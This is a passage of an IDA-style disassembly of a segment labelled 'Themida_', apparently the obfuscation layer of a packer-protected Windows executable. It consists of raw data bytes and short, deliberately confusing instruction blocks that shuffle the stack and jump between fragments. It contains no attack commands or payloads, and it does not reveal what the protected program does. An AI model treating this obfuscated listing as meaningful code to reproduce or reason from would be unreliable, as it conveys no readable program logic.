--------------------------------------------------------------------------- db 81h, 4, 24h dd 1E2F468Eh, 8EEA815Ah, 581E2F46h, 148BD329h, 4C48324h dd 0E92434FFh, 0FFFF2286h, 241CF766h, 0E970E99Ch, 4BEFFFEh dd 29000000h, 24348BF5h, 0FF86DDE9h, 14D4BFFFh, 0F9292E01h dd 2434FF5Fh, 0FEF806E9h, 0EC8151FFh, 4, 83242489h, 0E9042404h dd 0FFFFEF27h, 68240C89h, 4, 59CB0159h, 2BF57h, 0EB810000h dd 1E807595h, 7140C381h, 0C3816A99h, 7E7C5F45h, 5981EB81h dd 0FB012957h, 5981C381h, 57E92957h, 29FFFF55h, 15E5EF1h dd 148759CAh, 17C4E924h, 0C890000h, 95F5E924h, 86BAFFFFh dd 4248E731h, 24ACF281h, 0DAF73002h, 0F707EAC1h, 0EBF57DAh dd 0E9BE8B6Eh, 0FFFFFDE9h, 0D164E95Dh, 34FFFFFFh, 240C8B24h dd 4C481h, 0E9560000h, 0FFFF656Ah ; --------------------------------------------------------------------------- loc_562E34: ; CODE XREF: Themida_:00558F92j xchg edi, [esp] mov esp, [esp] push eax push esp pop eax add eax, 4 jmp loc_560922 ; --------------------------------------------------------------------------- aQXbsx db 'Q¹`:³xéX',0 db 55h, 53h, 81h dd 6F6D71C9h, 1FC1817Eh, 413BDE23h, 5D69C181h, 0CA0144A2h dd 24148759h, 0B551665Ch, 144CE9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562E76: ; CODE XREF: Themida_:0055FF5Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55BEB4 ; --------------------------------------------------------------------------- loc_562E84: ; CODE XREF: Themida_:0055ACA8j inc esi xchg esi, edx jmp loc_55C1A6 ; --------------------------------------------------------------------------- loc_562E8C: ; CODE XREF: Themida_:0056567Fj mov eax, 4 mov ebp, eax pop eax add ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_564714 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHy db '$hy',1Bh,0 align 2 dw 3489h dd 3F5DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562EB2: ; CODE XREF: Themida_:00563AD5j pop ecx xor cl, dl mov edx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55BCF6 ; --------------------------------------------------------------------------- db 89h dd 0DBBD242Ch, 8163806Ah, 0B504F7C5h, 0EBC58168h, 299621E4h dd 0BF575DE8h, 20317257h, 595FF801h, 0E9240487h, 0FFFF8697h dd 8904EC83h, 94BE2434h, 0C1351448h, 0CE8104EEh, 3C660330h dd 0FF2488E9h, 4C283FFh, 5C241487h, 0E9241487h, 0FFFF0DC6h ; --------------------------------------------------------------------------- loc_562F20: ; CODE XREF: Themida_:00557CE6j mov dl, 0ECh neg dl jmp loc_55578D ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E9545624h, 0FFFF2870h, 8B242C87h, 3C332424h, 7066E924h dd 0C281FFFFh, 7EC56B7Ah, 7007BF57h, 0FA29EA30h, 0FFC80AE9h db 0FFh ; --------------------------------------------------------------------------- loc_562F55: ; CODE XREF: Themida_:005573F5j shr ebx, 4 jmp loc_5655E6 ; --------------------------------------------------------------------------- loc_562F5D: ; CODE XREF: Themida_:0055F79Bj pop ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, eax sub edx, 558C4C11h jmp loc_55C65B ; --------------------------------------------------------------------------- dw 0C483h dd 0EC815204h, 4, 0FF45C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_562F8D: ; CODE XREF: Themida_:00562135j pop ax mov ch, al pop ax dec ch jmp loc_563893 ; --------------------------------------------------------------------------- dw 0E829h dd 33F2E9h, 8BC18100h, 81636276h, 6A1E94C1h, 0E9F1010Fh dd 0FFFF06D4h, 80E9B450h, 0BBE91DCCh, 88FFFFCAh, 0E9D7F6D7h dd 2601h, 240C8B66h, 53DD68h, 0D39FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FD6: ; CODE XREF: Themida_:00561561j mov eax, [esp] add esp, 4 push 206Bh mov [esp], esi mov esi, esp jmp loc_562695 ; --------------------------------------------------------------------------- loc_562FEB: ; CODE XREF: Themida_:00556610j add ebx, 702471D5h push ecx mov ecx, 2B52FB33h sub ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_560878 ; --------------------------------------------------------------------------- dw 2BBBh dd 8178F610h, 0F61027EBh, 5BDA0178h, 2474FF52h, 48F5A04h dd 24248B24h, 8104C483h, 7A125EC2h, 1BFFE906h, 8B5F0000h dd 0C4812434h, 4, 4EC81h, 2C890000h, 7981BD24h, 0E58130B5h dd 7FCF7F2Fh, 289FE9h db 0 ; --------------------------------------------------------------------------- loc_563055: ; CODE XREF: Themida_:0055470Dj sub edx, eax jmp loc_559FC3 ; --------------------------------------------------------------------------- dd 0E932FF66h, 0FFFF67C5h ; --------------------------------------------------------------------------- loc_563064: ; CODE XREF: Themida_:0055CA0Ej add esp, 4 loc_56306A: ; CODE XREF: Themida_:0055FA59j ; Themida_:00566B15j push dword ptr [esp] push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edi push esp push dword ptr [esp] pop edi push 218Ch mov [esp], edx mov edx, esp jmp loc_558B1C ; --------------------------------------------------------------------------- loc_56308B: ; CODE XREF: Themida_:0055E919j pop eax xchg esi, [esp] pop esp and [esp], al pushf jmp loc_5516EE ; --------------------------------------------------------------------------- loc_563099: ; CODE XREF: Themida_:0055B0F2j mov esi, esp add esi, 4 add esi, 4 jmp loc_55A1B8 ; --------------------------------------------------------------------------- loc_5630A9: ; CODE XREF: Themida_:005543C1j add eax, ebx pop ebx push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 6F0075F4h push edi mov edi, 68FF28EFh shl edi, 4 push edx mov edx, 533825AEh add edi, edx pop edx jmp loc_561FEE ; --------------------------------------------------------------------------- db 89h, 0FDh, 8Bh dd 6AE9243Ch, 81000019h, 75B29EDh, 0F7555871h, 4DE92414h dd 53FFFF48h, 0FF9DF9E9h, 338CBAFFh, 5D5217E3h, 0FFB90FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56310D: ; CODE XREF: Themida_:0055840Bj mov esi, 7E5429EEh xor ebp, esi pop esi shr ebp, 8 jmp loc_555313 ; --------------------------------------------------------------------------- db 89h, 0FBh, 5Fh dd 245C015Ah, 64AEE904h, 5ADFFFFh, 0CFE206Ah, 3C28E9h dd 32406800h, 14890000h, 24BA24h, 0BF570000h, 7C0A78ACh dd 23C5E9h db 0 ; --------------------------------------------------------------------------- loc_56314D: ; CODE XREF: Themida_:005662D2j and eax, ebp jmp loc_5640D9 ; --------------------------------------------------------------------------- dd 9C240CFFh, 0FEE591E9h db 0FFh ; --------------------------------------------------------------------------- loc_56315D: ; CODE XREF: Themida_:00554C31j mov bh, ch mov dl, bh pop ebx pop ecx mov bh, dl mov edx, [esp] push eax mov eax, esp jmp loc_556D93 ; --------------------------------------------------------------------------- dd 8BEF8147h, 504FE706h, 0FF6E85E9h db 0FFh ; --------------------------------------------------------------------------- loc_56317D: ; CODE XREF: Themida_:0055B5C5j xchg edx, [esp] mov esp, [esp] shr eax, 0Ah xor eax, ecx push 55DAh mov [esp], eax sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push 7454h jmp loc_554CCA ; --------------------------------------------------------------------------- loc_5631A8: ; CODE XREF: Themida_:005652BEj push edi mov edi, 39B30B91h push esi mov esi, 18814AEDh jmp loc_564A17 ; --------------------------------------------------------------------------- db 50h, 0B8h, 6Ch dd 508021Bh, 2510668Eh, 5327A60Dh, 2E8C171h, 0B10E110Dh dd 94E9400Ah, 68FFFEE8h, 3D73h, 89240C89h, 4C181E1h, 83000000h dd 0C8704E9h, 24248B24h, 0E9242489h, 0FFFF0339h, 4C48159h dd 0FF000000h, 835E2434h, 0FF5204C4h, 5A042474h, 8B24048Fh dd 8B662424h, 0EC832404h, 24148904h, 81E18951h, 4C1h, 4B85000h dd 29000000h, 24048BC1h, 0C374E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563236: ; CODE XREF: Themida_:00566598j and dl, 0C8h jmp loc_55173D ; --------------------------------------------------------------------------- loc_56323E: ; CODE XREF: Themida_:0056226Ej mov ebp, eax mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax push edx mov edx, ebp jmp loc_5569DB ; --------------------------------------------------------------------------- db 4Eh dd 8108E6C1h, 5A9704EEh, 5EF1318Fh, 59C0F181h, 0CA01E0F7h dd 0FF11EDE9h, 4EC81FFh, 89000000h, 74FF2434h, 8F5E0424h dd 0F6E92404h, 81FFFF3Dh, 0AAE447E9h, 59CA0101h, 0D3F7DA87h dd 0FF7591E9h, 4EC81FFh, 89000000h, 4EE9242Ch, 4D00002Fh dd 0C104EDC1h, 0ED8108E5h, 0E2A252B5h, 0FF2D0AE9h, 0F7D5F7FFh dd 0F8ED81DDh, 4D223B23h, 3DA7C581h, 0EA01585Ch, 57DA015Dh dd 291ED2BFh, 0A2EFE95Ah, 0D831FFFFh, 0FFB538E9h, 0FFD931FFh dd 64E92434h, 68FFFF48h, 0A04h, 0FEF7BAE9h, 0C9068FFh dd 3C890000h, 52E78924h, 7C4943BAh, 3EAC129h, 0E903E2C1h dd 0FFFFEB8Eh, 3550F468h, 72CAE97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56332A: ; CODE XREF: Themida_:00561B40j add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] jmp loc_558718 ; --------------------------------------------------------------------------- loc_56334C: ; CODE XREF: Themida_:005655AAj add ebp, esi push dword ptr [esp] pop esi add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 46F1h mov [esp], edx mov edx, 3B263E00h push edx dec dword ptr [esp] jmp loc_5519E8 ; --------------------------------------------------------------------------- dd 0B8505559h, 25B22A2Dh, 0FFC241E9h db 0FFh ; --------------------------------------------------------------------------- loc_563385: ; CODE XREF: Themida_:00554D94j xor ecx, eax xor eax, ecx jmp loc_558609 ; --------------------------------------------------------------------------- loc_56338E: ; CODE XREF: Themida_:0055E637j pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 7C0E10C2h inc ebp add ebp, 83F1EF41h sub ebx, 735716A1h add ebx, 6FDD2A1Dh add ebx, ebp sub ebx, 6FDD2A1Dh add ebx, 735716A1h push dword ptr [esp] pop ebp add esp, 4 jmp loc_565372 ; --------------------------------------------------------------------------- dw 15Fh dd 0EFED81DDh, 811A0735h, 0E311EFC5h, 0B4E3E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633DE: ; CODE XREF: Themida_:00560D5Fj sub eax, 620C48CFh jmp loc_561EEC ; --------------------------------------------------------------------------- loc_5633E8: ; CODE XREF: Themida_:0055C6D1j sub bl, al push edx mov dh, 6Dh sub dh, 82h shr dh, 3 jmp loc_551D13 ; --------------------------------------------------------------------------- dd 0CFB25266h, 5A66D388h, 805BDC20h, 0C48085C4h, 51ECD001h dd 5251E9B5h, 0F3E902B2h, 5FFFF94h, 514369DCh, 0DC2DD001h dd 5A514369h, 31240433h, 83E92404h, 0FFFFFEFDh, 669D1C77h dd 24041858h, 0E2B0E99Ch, 0C189FFFEh, 340BE9h, 1C65BD00h dd 0EDC13055h, 0F5814506h, 8067DBEAh, 835DEE01h, 348904ECh dd 24348124h, 1C92483Bh, 1D7FE9h db 0 ; --------------------------------------------------------------------------- loc_563469: ; CODE XREF: Themida_:00562CE0j mov ebx, 3EDFC468h xor edi, ebx pop ebx jmp loc_556A30 ; --------------------------------------------------------------------------- dw 1489h dd 1D7FBA24h, 0EAC156CFh, 0D9C28107h, 0E90CE30Dh, 0FFFF5AADh ; --------------------------------------------------------------------------- loc_56348C: ; CODE XREF: Themida_:005585CFj push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_551C3B ; --------------------------------------------------------------------------- loc_5634AD: ; CODE XREF: Themida_:005577D2j pop dx jmp loc_556564 ; --------------------------------------------------------------------------- dd 0E904C483h, 3039h, 8245C01h, 246C295Bh, 0F2BD5504h dd 0E949791Ch, 0FFFFE27Ch ; --------------------------------------------------------------------------- loc_5634D0: ; CODE XREF: Themida_:0055483Cj sub ebp, 0DC9F06F4h mov edi, ebp pop ebp sub eax, 60A45BC8h sub eax, edi jmp loc_56359C ; --------------------------------------------------------------------------- db 0BFh, 0F8h, 13h dd 0CF812A75h, 0D46491Ch, 8108EFC1h, 0D47FF0E7h, 7E7C145h dd 5804C781h, 0FB89FDC4h, 18FE2D5Fh, 0F6E96E8Fh, 1FFFF40h dd 0BF575DEEh, 31CD1FDBh, 4703EFC1h, 6BF7814Fh, 29510EB4h dd 0F1295FF9h, 1790C181h, 8B5E5737h, 0C4832414h, 64F9E904h dd 0FD31FFFFh, 83243C8Bh, 0EA8904C4h, 0FEE35BE9h, 0F1015EFFh dd 0FF708CE9h, 81FB29FFh, 0E533D9EBh, 875D5F0Eh, 0A7E9241Ch dd 0ACFFFFBBh, 4CD1E953h, 0E957FFFFh, 0FFFFD775h, 83B9515Eh dd 1083118h, 942D59C8h, 294DEA7Bh, 7B9405F0h, 832D4DEAh dd 5083118h, 4E535029h, 0FF3279E9h, 0E9CE29FFh, 0FFFF773Bh ; --------------------------------------------------------------------------- loc_56359C: ; CODE XREF: Themida_:005634E0j add eax, 60A45BC8h mov edi, [esp] add esp, 4 add eax, 723A7B6Fh sub eax, 4D9F0428h sub eax, 24BC4858h push 4BEAh mov [esp], ecx push esp pop ecx jmp loc_561186 ; --------------------------------------------------------------------------- aLHat db '‹$$hAt',0 align 10h dd 0E9240489h, 0FFFF34CEh, 0C681E689h, 4, 4C681h, 34870000h dd 196CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635EE: ; CODE XREF: Themida_:00566D82j neg ecx sub esp, 4 jmp loc_562C8A ; --------------------------------------------------------------------------- loc_5635FB: ; CODE XREF: Themida_:005662BCj add dword ptr [esp], 4 pop edi add edi, 4 push ebx mov ebx, 4 add edi, 1AFE4D61h sub edi, ebx jmp loc_565E56 ; --------------------------------------------------------------------------- db 81h, 0EFh, 5Ch dd 81127C00h, 0EA1833EFh, 0FEEF8143h, 5A6F433Ch, 0FFCE25E9h db 0FFh ; --------------------------------------------------------------------------- loc_563631: ; CODE XREF: Themida_:00564F28j mov [esp], ebx jmp loc_566CC3 ; --------------------------------------------------------------------------- db 5Ch, 28h, 0F0h dd 53514404h, 49B1AEB3h, 0BAE9D928h, 53FFFF30h, 925D23BBh dd 16E4E954h, 1C8BFFFFh, 4C48124h, 81000000h, 4C4h, 24048F00h dd 6424248Bh, 0E9028966h, 0FFFF2C5Fh, 24048B66h, 1A7E68h dd 24048900h, 0D9368h, 24248900h, 4BD55h, 6C010000h, 585D0424h dd 3F685156h, 5932B652h, 5505E1C1h, 0FD60B2BDh, 5DE93154h dd 24048151h, 0A9A6495h, 5E2434FFh, 8104C483h, 9A6495EEh dd 0ED58E90Ah, 0EA81FFFEh, 66002D90h, 148BD501h, 4C48324h dd 0FFB446E9h, 84EA81FFh, 8110AF63h, 0CFA94F2h, 0E9D5013Eh dd 0FFFF7A0Fh ; --------------------------------------------------------------------------- loc_5636E8: ; CODE XREF: Themida_:0055DED6j sub bx, 90h mov si, [esp] add esp, 2 sub bx, ax push dx mov dx, 412h jmp loc_5577CF ; --------------------------------------------------------------------------- loc_563702: ; CODE XREF: Themida_:00551C0Aj or edi, ecx pop ecx shr edi, 6 jmp loc_564752 ; --------------------------------------------------------------------------- db 66h, 89h, 0F1h dd 0EC4DE95Eh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563716: ; CODE XREF: Themida_:005658AAj add esp, 4 sub eax, 0DC550A4h jmp loc_55DB08 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 8904EC83h, 74FF242Ch, 0E95D0424h, 0FFFF8FF4h ; --------------------------------------------------------------------------- loc_56373C: ; CODE XREF: Themida_:0055252Fj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_553F6D ; --------------------------------------------------------------------------- loc_56374A: ; CODE XREF: Themida_:00563E61j pop ebp sub [edi+24h], edx mov edx, [esp] add esp, 4 loc_563757: ; CODE XREF: Themida_:0056377Ej sub esp, 4 mov [esp], edi push ebx jmp loc_55CBAD ; --------------------------------------------------------------------------- dw 0F74Fh dd 0CA02E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56376E: ; CODE XREF: Themida_:0055DDBFj push small 73AEh mov [esp], ax jmp loc_5516EE ; --------------------------------------------------------------------------- loc_56377B: ; CODE XREF: Themida_:00565F0Ej pop ecx or eax, eax jz loc_563757 push ecx jmp loc_558480 ; --------------------------------------------------------------------------- loc_56378A: ; CODE XREF: Themida_:0055E12Cj push ecx inc byte ptr [esp+1] mov ecx, [esp] add esp, 4 xor ch, 0E0h mov al, ch pop ecx push eax mov al, 0B4h jmp loc_551A06 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 24248924h, 4240483h dd 8B2434FFh, 8952240Ch, 4C281E2h, 81000000h, 4C2h, 74FF5200h dd 8F5A0424h, 535C2404h, 0FF99DAE9h, 48E954FFh, 28000025h dd 0A76FE9D0h, 83C3FFFFh, 348904ECh, 4EC8324h, 32DEE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5637FE: ; CODE XREF: Themida_:0055800Dj pop edi jmp loc_551B3D ; --------------------------------------------------------------------------- loc_563804: ; CODE XREF: Themida_:00553178j push 15D0h mov [esp], eax mov eax, 6AE33018h and eax, 280B7A0Dh inc eax jmp loc_55BE66 ; --------------------------------------------------------------------------- loc_56381C: ; CODE XREF: Themida_:00557137j sub esi, 11F378FEh push esi push ebx mov ebx, 33BF6F04h add [esp+4], ebx pop ebx pop ecx sub ecx, 33BF6F04h pop esi mov edi, [esp] add esp, 4 push ebx mov ebx, 37A619Bh push ecx mov ecx, 44330B46h inc ecx add ecx, 1DBE2360h dec ecx sub ecx, 18727412h add ebx, ecx pop ecx jmp loc_5542EC ; --------------------------------------------------------------------------- dw 5140h dd 0F74AE2B9h, 59C83144h, 0FF7522E9h, 24248BFFh, 0E904C483h dd 0FFFFD1BEh, 8924248Bh, 8B542404h, 0C4832404h, 4B95104h dd 1000000h, 0F2E959C8h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563893: ; CODE XREF: Themida_:00562F95j push ax mov ah, 14h sub ch, ah jmp loc_55FE16 ; --------------------------------------------------------------------------- loc_56389E: ; CODE XREF: Themida_:00565312j mov dl, 0AFh xor dl, 86h sub al, dl mov edx, [esp] add esp, 4 pop edx jmp loc_55196D ; --------------------------------------------------------------------------- dd 7B9CD81h, 0ED8127FEh, 0FFFFFFFFh, 0FFAE8DE9h, 34268FFh dd 0C890000h, 552EB924h, 0EB811416h, 407F6532h, 5352CB29h dd 6653E4BBh, 0A6F3817Eh, 8151D838h, 0A975F8F3h, 0B8C38163h dd 0E92B3F5Ah, 0FFFF47F4h ; --------------------------------------------------------------------------- loc_5638F8: ; CODE XREF: Themida_:00553022j pop esi xor edx, 60CE20D1h add ebp, edx pop edx pop ebx jmp loc_553AA8 ; --------------------------------------------------------------------------- dd 0FBE9535Bh, 0FFFFFFF6h, 48B2434h, 4C48324h, 8904EC83h dd 0E189240Ch, 25F268h, 0B3D0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56392A: ; CODE XREF: Themida_:00564110j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_557CD7 ; --------------------------------------------------------------------------- loc_563939: ; CODE XREF: Themida_:005596B8j not esi push 7E68h jmp loc_566199 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 8Ah dd 50FFFFCDh, 0FFD02EE9h db 0FFh ; --------------------------------------------------------------------------- loc_563951: ; CODE XREF: Themida_:005648E2j add esp, 4 add esp, 4 jmp loc_557C3E ; --------------------------------------------------------------------------- db 81h dd 4F20B2F2h, 0C068E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56396A: ; CODE XREF: Themida_:00554A7Bj sub eax, 2B7026DBh add eax, esi add eax, 2B7026DBh pop esi jmp loc_561876 ; --------------------------------------------------------------------------- dd 8102E6C1h, 84F94EEh, 6BC68178h, 81C9B9FAh, 6428F2EAh dd 81F20160h, 6428F2C2h, 9E1FE960h, 0C381FFFFh, 4, 4C381h dd 0F3E90000h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639AF: ; CODE XREF: Themida_:005522A1j sub [esp], esi add dword ptr [esp], 4B1D0AFEh mov esi, [esp] add esp, 4 shr esi, 3 xor esi, 4BAE187Ch jmp loc_554A75 ; --------------------------------------------------------------------------- loc_5639D0: ; CODE XREF: Themida_:00552C55j mov ebp, 59243B8Eh shl ebp, 6 sub ebp, 9F2BCBDh add esi, 56D74610h add esi, 1985451Ah jmp loc_557768 ; --------------------------------------------------------------------------- loc_5639EF: ; CODE XREF: Themida_:0055B8E7j mov [esp], eax push ebx pop eax push dword ptr [esp] pop ebx push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_55E47B ; --------------------------------------------------------------------------- loc_563A16: ; CODE XREF: Themida_:0055F1D8j and bl, 0B9h and bl, 0F8h add bl, 8Ah neg bl add bl, 6Bh mov dl, bl pop ebx shl dl, 1 shr dl, 3 inc dl sub dl, 85h jmp loc_556213 ; --------------------------------------------------------------------------- dw 815Eh dd 4C2h, 74FF5200h, 148B0424h, 4C48124h, 8F000000h, 525C2404h dd 4BAh, 68EE8100h, 1001D7Fh, 21DFE9D6h, 96050000h, 0FF257532h dd 148B2434h, 4C48124h, 83000000h, 685304C4h, 713A5A76h dd 431535Bh, 24043324h, 0F7240431h, 240487D0h, 0FFCAA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_563A91: ; CODE XREF: Themida_:00557D82j mov [esp], ebp push eax mov eax, 336C32C7h mov ebp, eax mov eax, [esp] add esp, 4 add eax, ebp jmp loc_56213A ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0A6E90000h, 5BFFFFDDh, 0FF4A62E9h, 0E9C301FFh dd 1994h ; --------------------------------------------------------------------------- loc_563AC4: ; CODE XREF: Themida_:0055A35Bj push edx mov dl, 0FBh shl dl, 5 push ecx mov cl, 0B5h add cl, 0FFh add cl, 7 add dl, cl jmp loc_562EB2 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835924h, 7FBB5304h, 8144492Eh, 9359BDF3h, 25E95000h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AF3: ; CODE XREF: Themida_:0055CD5Ej push eax jmp loc_558A60 ; --------------------------------------------------------------------------- db 81h, 0EDh, 98h dd 68204CB0h, 6911h, 0E9242C89h, 226Fh, 1406F12Dh, 241C8B4Fh dd 8B04C483h, 0C4812414h, 4, 30D4C381h, 0D7E94627h, 87FFFF43h dd 3E1C1E9h, 752EC181h, 0B8502440h, 5B67A36h, 0FFA666E9h dd 126768FFh, 1C890000h, 0C5BB6624h, 0C3816630h, 43662156h dd 0FFD73FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563B59: ; CODE XREF: Themida_:005580B1j not dword ptr [esp] pop ebp xchg ebp, [esp] pop ecx jmp loc_55E7E6 ; --------------------------------------------------------------------------- dw 0E8C1h dd 0BBE95602h, 66FFFF7Fh, 4EC81ADh, 89000000h, 0B966240Ch dd 6DE94020h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B83: ; CODE XREF: Themida_:0055DDB6j xchg ebx, [esp] pop esp and eax, edi mov edi, [esp] jmp loc_556AA0 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24348B04h, 8F04C483h, 665C2404h, 9C240CD3h, 0FEDB45E9h dd 0DFE953FFh, 81FFFF67h, 257922EDh, 0E95B5E39h, 0FFFFB543h dd 0EEE9E989h, 50FFFFD1h, 0D761F7B8h, 58C72952h, 170DEF81h dd 0D78774CAh, 0D787D2F7h, 6AF8C781h, 0DE9B22Dh db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563BE3: ; CODE XREF: Themida_:00566D58j mov eax, [esp] push ecx mov ecx, esp push edx mov edx, 3C7A2206h jmp loc_55EE99 ; --------------------------------------------------------------------------- dd 48EF815Ah, 2972B64Fh, 0AF2FE9DFh, 815EFFFFh, 6C5814C6h dd 22BB5330h, 815D145Ch, 76F20FEBh, 5BDE290Ah, 0B357C681h dd 0C381B98Eh, 6F6E39D9h, 9E6C381h, 0F3013831h, 9E6EB81h dd 0EB813831h, 6F6E39D9h, 2C3815Eh, 0E9000000h, 0FFFF06D0h dd 4E8835Dh, 31240433h, 73E92404h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C53: ; CODE XREF: Themida_:00557992j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_559187 ; --------------------------------------------------------------------------- db 0BFh, 0ACh, 55h dd 0BE5646B5h, 46F51243h, 48E9F389h, 83000007h, 0A1E904C7h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C83: ; CODE XREF: Themida_:0055B1D2j push edx jmp loc_56633F ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FF1FD9E9h, 0C4F781FFh, 21388953h, 0E8C15FF8h, 31C83108h dd 73E0E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563CA6: ; CODE XREF: Themida_:00565243j push dword ptr [esp] pop edi jmp loc_55F4E5 ; --------------------------------------------------------------------------- loc_563CAF: ; CODE XREF: Themida_:0055A99Bj push ecx push bx push edx mov dl, 0D8h jmp loc_560F09 ; --------------------------------------------------------------------------- loc_563CBA: ; CODE XREF: Themida_:005625E4j pop edi neg edi sub edi, 36767E7Ah dec edi inc edi sub edi, 72753719h jmp loc_561065 ; --------------------------------------------------------------------------- loc_563CD0: ; CODE XREF: Themida_:0055F7C2j mov ebp, esp jmp loc_551DC5 ; --------------------------------------------------------------------------- db 66h dd 5762E181h, 0C3E98166h, 0EA2D66F3h, 2A1CE930h, 0BA520000h dd 4, 0FFB0F4E9h, 28792DFFh, 16E96A3Fh, 66FFFFD1h, 52240C8Bh dd 0C281E289h, 4, 0A98AE957h, 2C87FFFFh, 4315C24h, 0CFE99C24h dd 0B8FFFED9h, 4, 48BC101h, 4C48324h, 8704C183h, 248B240Ch dd 1C572124h, 0FF2434FFh, 815A2434h, 4C4h, 0D1685200h dd 0E9000055h, 0FFFFB510h, 0C015EE80h, 0C68007E6h, 5AF0284Ah dd 0CA04F028h, 0F652245Ah, 2235E9D0h, 0EEC1FFFFh, 0F9C68104h dd 910ADFDh, 0C1815EF1h, 8C05h, 3FBEC381h, 0CB016AB5h dd 3FBEEB81h, 0C8B6AB5h, 2C15E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563D92: ; CODE XREF: Themida_:00556AD7j mov ch, 3Ch jmp loc_56279B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FF235CE9h, 0E9CE31FFh, 0FFFF1422h, 7BE9F701h, 0B9FFFF38h dd 4B99604Eh, 4859C889h, 0FF3ADBE9h db 0FFh ; --------------------------------------------------------------------------- loc_563DBD: ; CODE XREF: Themida_:0055409Ej mov [esp], eax push 4 push dword ptr [esp] pop eax jmp loc_566D47 ; --------------------------------------------------------------------------- dw 8166h dd 6611D3EEh, 6602E6C1h, 5B58C681h, 0FF49E9E9h, 4C281FFh dd 81000000h, 4EAh, 74FF5200h, 8F5A0424h, 895C2404h, 7ABD242Ch dd 57083D7Dh, 0D41653BFh, 3DF78148h, 0F710CB4Fh, 8ECF81D7h dd 0C101D722h, 0BD5505EFh, 31D9703h, 525DEF01h, 623897BAh dd 5AD52945h, 0C581FD29h, 45623897h, 4EC815Fh, 89000000h dd 9B82404h, 101B852h, 24048BC5h, 6804C483h, 3ABDh, 0E9240C89h dd 0FFFF4029h ; --------------------------------------------------------------------------- loc_563E54: ; CODE XREF: Themida_:00556364j add ebp, 4EC3A71Eh sub esp, 4 mov [esp], ebp pop edx jmp loc_56374A ; --------------------------------------------------------------------------- loc_563E66: ; CODE XREF: Themida_:0055DBB0j sub ecx, 1 sub ecx, 0AB005010h mov ebp, ecx mov ecx, [esp] add esp, 4 sub [esp+4], ebp pop ebp mov eax, [esp] add esp, 4 push 796Ch mov [esp], ebp mov ebp, 27DB0A21h shl ebp, 5 jmp loc_556A0F ; --------------------------------------------------------------------------- loc_563E9A: ; CODE XREF: Themida_:0055BE61j pop ecx add esp, 4 xor ecx, 9DDBCCC1h and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Eh jmp loc_559381 ; --------------------------------------------------------------------------- db 0BEh dd 477324F2h, 7622E946h, 0C181FFFFh, 0FAD0CAB0h, 0A9E9CE01h dd 0FFFFFFF4h, 589D1C77h, 9C240411h, 0FED811E9h, 2C895CFFh dd 0A927E924h, 0D15AFFFFh, 9464E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EEE: ; CODE XREF: Themida_:0055C10Dj mov [esp], edx jmp loc_554426 ; --------------------------------------------------------------------------- dw 6BBBh dd 0F75B216Ch, 2AF381D3h, 